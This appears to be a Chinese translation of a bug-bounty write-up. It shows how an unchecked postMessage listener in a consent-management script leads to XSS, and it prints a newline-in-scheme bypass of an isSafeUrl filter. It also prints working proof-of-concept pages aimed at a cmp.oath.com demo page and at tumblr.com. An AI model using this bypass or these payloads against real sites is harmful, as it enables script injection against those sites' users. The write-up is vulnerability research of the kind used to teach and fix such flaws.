​从 JS 文件分析到 XSS 的一种方法

admin 2023年5月29日08:41:22评论36 views字数 5902阅读19分40秒阅读模式




0x00 概述

        

在研究其他漏洞赏金计划时,在 cmp3p.js 文件中发现了跨站点脚本漏洞,该漏洞允许攻击者在包含上述脚本的域上下文中执行任意 javascript 代码。

              

为了描述这项研究的影响,值得一提的是,所描述的研究也适用于包含 cmp3p.js 文件的任何其他主机。


0x01 浏览器的跨源通信  

   

为了更好地理解此漏洞,浏览器实现的在源之间进行通信的一些机制。其中之一是postMessage。如果站点 A 在其源中有一个指向站点 B 的 <iframe>,我们可以从站点 A 访问站点 B 的 DOM 树。由于同源策略,要获得完全访问权限,站点 A 和 B 必须位于同源。否则,为了通信,其中一个站点需要添加onmessage甚至监听器,而第二个站点可以发送带有数据的事件,这些事件将由监听器中定义的函数进行处理。例如:


站点A

<script>window.addEventListener("message", function(e) {    alert(e.data.toString());});</script>


站点B

<script>window.parent.postMessage("Hello world.", "*");</script>


上述机制不仅适用于框架和弹出窗口,也适用于两个选项卡。例如,如果站点 A 有指向站点 B 的超链接,将被点击——包含超链接的页面可以通过 window.opener 从新打开的选项卡访问。



​从 JS 文件分析到 XSS 的一种方法




0x02 分析


在我的研究过程中,我决定查看主要的 tumblr.com 页面,计划是发现它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在混淆的形式中,它看起来如下:


!function() {            var e = !1;            function t(e) {                var t = "string" == typeof e.data                  , n = e.data;                if (t)                    try {                        n = JSON.parse(e.data)                    } catch (e) {}                if (n && n.__cmpCall) {                    var r = n.__cmpCall;                    window.__cmp(r.command, r.parameter, function(n, o) {                        var a = {                            __cmpReturn: {                                returnValue: n,                                success: o,                                callId: r.callId                            }                        };                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")                    })                }            }


基于以上部分代码,值得注意的是:


1.它采用事件数据参数(作为 JSON 字符串),


2.使用 JSON.parse() 函数解析它,


3.创建包含属性cmpCall(即对象)的javascript对象n。


提到的 cmpCall 对象包含称为命令和参数的字段,它们都基于 window.__cmp() 函数:


     if (e)                return {                    init: function(e) {                        if (!l.a.isInitialized())                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},                            p.uiUrl || p.organizationId)                                if (c.a.isSafeUrl(p.uiUrl)) {                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),                                    g.setGdpr("S"),                                    g.setPublisherId(p.organizationId)),                                    (t = p.sharedConsentDomain) && r.a.init(t),                                    s.a.setCookieDomain(p.cookieDomain);                                    var n = s.a.getGdprApplies();                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),                                    h(function(e) {                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {                                        n || (e = !0),                                        s.a.setIsUserInEU(e),                                        e ? (g.setGdpr("L"),                                        h(function(e) {                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)                                        }, !0)) : l.a.initializationComplete()                                    })                                } else                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http
展开收缩
://example.com/path/to/cmpui.html"'
);
// (...)


虽然这段代码被混淆了,但它的分析可能有问题,所以我将重点放在最重要的两行:


{code}if (c.a.isSafeUrl(p.uiUrl)) {{code}


检查 isSafeUrl 定义后,我们可以注意到它检查参数对象中提供的 URL(这可能由攻击者控制)是否安全:


isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")    },


如果作为函数参数提供的 URL 在开头包含javascript: string,则应将其视为不安全并返回 -1(并停止进一步执行)。

第二个有趣的行是:


e ? l.a.initializationComplete() : b(l.a.initializationComplete)


让我们看一下 b() 函数定义:


b = function(e) {            g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {                p.consentString = t,                n.renderConsents(p, function(n, t) {                    g.setType("C").setGdprConsent(n).fire(),                    w(n),"function" == typeof e && e(n, t)                })            }) : n.renderConsents(p, function(n, t) {                g.setType("C").setGdprConsent(n).fire(),                w(n),"function" == typeof e && e(n, t)            })


和以前一样,被混淆了,难以阅读,但这里真正有趣的部分是 renderConsents() 函数,它将把我们带到这个漏洞的地步。定义


renderConsents: function(n, p{if ((t = n || {}).siteDomain = window.location.origin,                r = t.uiUrl) {if (p && u.push(p),                    !document.getElementById("cmp-container-id")) {                        (i = document.createElement("div")).id = "cmp-container-id",                        i.style.position = "fixed",                        i.style.background = "rgba(0,0,0,.5)",                        i.style.top = 0,                        i.style.right = 0,                        i.style.bottom = 0,                        i.style.left = 0,                        i.style.zIndex = 1e4,document.body.appendChild(i),                        (a = document.createElement("iframe")).style.position = "fixed",                        a.src = r,                        a.id = "cmp-ui-iframe",                        a.width = 0,                        a.height = 0,                        a.style.display = "block",                        a.style.border = 0,                        i.style.zIndex = 10001,                        l(),


​从 JS 文件分析到 XSS 的一种方法



如您所见,从安全角度来看, renderConsents()最终是一个有趣的元素,因为它创建的 iframe 元素具有由攻击者控制的 src 属性,攻击者可以控制该元素。我们可以通过提供代码作为 URI(在 src 属性中)使用<iframe>元素轻松执行 Javascript 代码,通过使用特殊的 URI 模式/协议,javascript。通过使用<iframe src=”javascript:alert(1)”></iframe>浏览器只会执行alert(1) Javascript 代码。这就是之前执行isSafeUrl()函数的原因。那么我们如何仍然可以在开始时传递包含 javascript 模式的 URL 呢?


很高兴知道我们仍然可以在 URL 的模式部分使用空白字符,浏览器将忽略这些字符。这为我们带来了非常简单的isSafeUrl()绕过,包括提供带有换行符的 URL 参数:


> url = "javascript:alert(document.domain);""javascript:alert(document.domain);"> isSafeUrl(url)false> url="janvascript:alert(document.domain);""javascript:alert(document.domain);"> isSafeUrl(url)true


在这一步之后,通过使用这个 JSON 构造 postMessage,就可以执行 javascript 代码:



{"__cmpCall": {"command": "init","parameter": {"uiUrl": "janvascript:alert(document.domain)","uiCustomParams": "fdsfds","organizationId": "siabada","gdprAppliesGlobally": "fdfdsfds"        }    }}


要将此消息传递到易受攻击的页面,我们还需要有一个指向其窗口对象的链接,这可以通过将易受攻击的页面放入 iframe 来轻松实现。当我们总结所有描述的步骤时,最终的概念验证如下所示:


<html><body>
<script>window.setInterval(function(e) {try { window.frames[0].postMessage("{"__cmpCall":{"command":"init","parameter":{"uiUrl":"ja\nvascript:alert(document.domain)","uiCustomParams":"fdsfds","organizationId":"siabada","gdprAppliesGlobally":"fdfdsfds"}}}","*"); } catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe> 

        

 

​从 JS 文件分析到 XSS 的一种方法


只要页面不包含 X-Frame-Options 标头,就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,此漏洞将不允许攻击者构建目标页面。整个攻击将需要在两个浏览器选项卡之间创建连接以通过 window.opener 传递 postMessages,这也非常简单:


1.创建一个包含指向自身的超链接的页面。


2.在循环中执行带有负载的 window.opener.postMessage() 函数。


3.单击链接后 - 新选项卡打开(选项卡之间有 window.opener 连接)


4.单击链接后直接将第一页重定向到目标(onclick事件)


这就是 tumblr.com 页面的情况,该页面还包含易受攻击的 cmp.js 代码,但由于 X-Frame-Options 标头,页面本身不可构建。所以 Tumblr 漏洞利用代码如下所示:

         

<html><body><script>function e() {window.setTimeout(function() {window.location.href="https://www.tumblr.com/embed/post/";  }, 500);}window.setInterval(function(e) {try {   window.opener.postMessage("{"__cmpCall":{"command":"init","parameter":{"uiUrl":"ja\nvascript:alert(document.domain)","uiCustomParams":"fdsfds","organizationId":"siabada","gdprAppliesGlobally":"fdfdsfds"}}}","*"); } catch(e) {}}, 100);</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>


         

​从 JS 文件分析到 XSS 的一种方法

         

                

         


PS:

翻译的不是很顺畅,有些知识点,感觉很模糊,不过作者的思路,还有调试js的方法还是值得学习的,故翻译此文,记录一下。不喜勿喷!!!

         



推荐阅读:   


CNVD-2023-34111|Apache Solr 8.3.1 RCE


CVE-2023-25135|vBulletin反序列化代码执行漏洞


CVE-2023-29084|Zoho ManageEngine ADManager Plus 远程代码执行漏洞





推荐产品:         





Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持​从 JS 文件分析到 XSS 的一种方法!!!



      本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

​从 JS 文件分析到 XSS 的一种方法

原文始发于微信公众号(信安百科):​从 JS 文件分析到 XSS 的一种方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日08:41:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​从 JS 文件分析到 XSS 的一种方法https://cn-sec.com/archives/1769274.html

发表评论

匿名网友 填写信息